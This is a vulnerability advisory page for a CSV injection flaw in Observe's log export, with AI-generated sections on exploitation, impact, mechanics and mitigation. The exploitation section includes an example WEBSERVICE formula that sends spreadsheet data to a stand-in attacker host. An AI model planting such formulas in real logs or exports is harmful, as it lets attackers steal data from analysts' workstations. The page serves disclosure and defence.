CVE-2026-39007
Description
CSV injection in Observe's log export allows unauthenticated attackers to exfiltrate data when analysts open exported CSV files.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
CSV injection in Observe's log export allows unauthenticated attackers to exfiltrate data when analysts open exported CSV files.
Vulnerability
Observe v.2026-01-28 and before contains a CSV injection vulnerability in the CSV log export component. The application does not sanitize user-controlled HTTP request parameters before writing them to logs. When an analyst later filters logs and exports them to CSV, any injected formulas are embedded in the exported file. [1]
Exploitation
An unauthenticated attacker sends an HTTP request to any endpoint monitored by Observe, embedding a malicious formula (e.g., =WEBSERVICE("https://attacker.com/x?d="&B1)) in a logged header such as X-Request-Id. Observe logs the raw value. An analyst then filters events to create a column view containing that parameter's values and exports the result to CSV. Upon opening the CSV in a spreadsheet application and clicking the cell containing the formula, the formula executes in the context of the victim's workstation. [1]
Impact
Successful exploitation allows the attacker to retrieve and exfiltrate sensitive information from other columns in the spreadsheet or system information via =WEBSERVICE. In legacy versions of Excel with DDE enabled, remote code execution may be possible. The attacker gains access to data that the analyst has permission to view. [1]
Mitigation
As of the public disclosure date (June 9, 2026), no patch or vendor response has been released. No workaround is provided. Users should avoid opening exported CSV files in spreadsheet applications that execute formulas, or sanitize log inputs manually. [1]
AI Insight generated on Jun 15, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1- Range: <=2026-01-28
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"Missing sanitization of user-controlled HTTP request parameters before embedding them in CSV exports allows CSV formula injection."
Attack vector
An unauthenticated attacker sends an HTTP request to any endpoint monitored by Observe with a malicious CSV formula payload (e.g. `=WEBSERVICE("...")`) in a logged header such as X-Request-Id [ref_id=1]. Observe logs the raw header value without sanitization. When an analyst later filters logs to create a column containing that parameter's values and exports the result to CSV, the raw formula is embedded in the exported file. If the analyst opens the CSV in a spreadsheet application and clicks the affected cell, the formula executes in the context of the victim's workstation, enabling data exfiltration or further compromise.
Affected code
The vulnerability resides in Observe's CSV Log export component. The application does not sanitize user-controlled HTTP request parameters (such as X-Request-Id or User-Agent) before writing them to the data store and subsequently embedding them in exported CSV files.
What the fix does
The advisory states that no patch has been released by the vendor as of the disclosure date [ref_id=1]. The recommended remediation would be to sanitize or escape user-controlled HTTP request parameters before writing them to the data store and before embedding them in CSV exports, preventing CSV formula injection (e.g. stripping leading `=` characters or encoding them).
Preconditions
- networkAttacker must be able to send HTTP requests to an endpoint monitored by Observe
- inputAn analyst must later filter logs to create a column containing the injected parameter and export the result to CSV
- inputThe victim must open the exported CSV file in a spreadsheet application and click the cell containing the injected formula
Generated on Jun 15, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.